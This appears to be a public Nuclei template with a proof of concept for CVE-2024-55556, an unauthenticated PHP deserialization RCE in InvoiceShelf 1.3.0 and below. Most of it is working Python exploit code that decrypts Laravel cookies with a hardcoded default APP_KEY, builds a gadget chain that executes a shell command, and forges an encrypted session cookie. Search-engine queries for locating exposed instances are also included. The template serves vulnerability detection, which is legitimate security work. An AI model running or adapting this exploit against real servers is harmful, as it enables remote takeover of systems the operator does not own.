InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
PoC代码[已公开]
id: CVE-2024-55556
info:
name: InvoiceShelf <= 1.3.0 - PHP Deserialization
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
remediation: |
Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
reference:
- https://www.synacktiv.com/en/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known
- https://github.com/rapid7/metasploit-framework/pull/19950
- https://nvd.nist.gov/vuln/detail/CVE-2024-55556
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-55556
cwe-id: CWE-502
epss-score: 0.7976
epss-percentile: 0.99064
metadata:
verified: true
max-request: 2
shodan-query: 'http.title:"InvoiceShelf"'
fofa-query: 'title="InvoiceShelf"'
tags: cve,cve2024,invoiceshelf,rce,deserialization
variables:
marker: "{{randstr}}"
marker_b64: "{{base64(marker)}}"
APP_KEY: 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=' # default hardcoded key
flow: |
code();
http();
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import base64
import json
import hashlib
import hmac
import os
import urllib.parse, requests
from Crypto.Cipher import AES
import requests,re
request1=requests.get(os.getenv('RootURL')+'/login')
cookies=request1.headers['Set-Cookie']
laravel_session_match = re.search(r"laravel_session=(.*?);", cookies)
laravel_session_value = laravel_session_match.groups()[0]
random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies)
random_cookie_name, random_cookie_value = random_cookie_match.groups()
valid_app_key=os.getenv('APP_KEY')
def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode):
decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8')
parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000')
session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}"
return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode)
def retrieve_key(key):
if key.startswith("base64:"):
return base64.b64decode(key.split(":")[1])
elif len(key) == 44:
return base64.b64decode(key)
else:
return key.encode('utf-8')
def laravel_encrypt(value_to_encrypt, key, cipher_mode):
key = retrieve_key(key)
iv = os.urandom(16) # Generate a random 16-byte IV
encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode)
tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip()
# Base64-encode the IV
b64_iv = base64.b64encode(iv).decode().strip()
# Prepare data for output
data = {
"iv": b64_iv,
"value": tmp_bytes,
"mac": generate_mac(key, b64_iv, tmp_bytes),
"tag": "" # Assuming empty tag
}
# Return the final encrypted value as Base64-encoded JSON
return base64.b64encode(json.dumps(data).encode()).decode()
def aes_encrypt(value, iv, key, cipher_mode):
cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode
pad_length = 16 - (len(value) % 16)
padded_value = value + bytes([pad_length] * pad_length)
return cipher.encrypt(padded_value)
def generate_mac(key, iv, value):
return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest()
def generate_laravel_payload(pl, pl_len):
laravel_payload = (
f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";'
f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";'
f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";'
f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}'
f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}'
)
# Base64 encode the payload
b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode()
return b64_laravel_payload
def laravel_decrypt(laravel_cipher, key, cipher_mode):
data = parse_laravel_cipher(laravel_cipher)
key = retrieve_key(key)
try:
return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
except Exception:
print("Your key is probably malformed or incorrect.") # Equivalent to vprint_error
return None
def parse_laravel_cipher(laravel_cipher):
laravel_cipher = urllib.parse.unquote(laravel_cipher) # Decoding URL-encoded string
try:
data = json.loads(base64.b64decode(laravel_cipher).decode())
except json.JSONDecodeError:
print("The JSON inside your base64 is malformed.") # Equivalent to vprint_error
return None
except Exception:
print("Your base64 laravel_cipher value is malformed.") # Equivalent to vprint_error
return None
try:
data['value'] = base64.b64decode(data['value'])
data['iv'] = base64.b64decode(data['iv'])
except Exception:
print("Error decoding base64 values in the cipher data.")
return None
return data
def aes_decrypt(encrypted_value, iv, key, cipher_mode):
cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode
decrypted = cipher.decrypt(encrypted_value)
# Remove PKCS7 padding
pad_length = decrypted[-1]
return decrypted[:-pad_length].decode('utf-8', errors='ignore')
unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC'))
# Example values (Replace these with real values)
pl = "echo " + os.getenv('marker_b64') + " | base64 -d"
pl_len = len(pl)
cipher_mode = "CBC" # Assuming CBC mode
# Generate the Base64 encoded Laravel payload
b64_laravel_payload=generate_laravel_payload(pl, pl_len)
# Extract the hash value from unciphered_value
hash_value = unciphered_value.split('|')[0]
# Encrypt the Laravel cookie
laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)
print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D'))
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
Cookie: {{code_response}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}"
- 'Illuminate/Database/DatabaseManager.php' # only matches in Debug mode
- type: status
status:
- 500
# digest: 4b0a00483046022100bf97ea801304d547230277fbd5e237dd4af7484e30bfbd49fd627f78f5824a47022100c1d9c9324f67bc79bf1a506582d9d99918b55940fbbc6fc24177c9d2e2e29b06:922c64590222798bb761d5b6d8e72950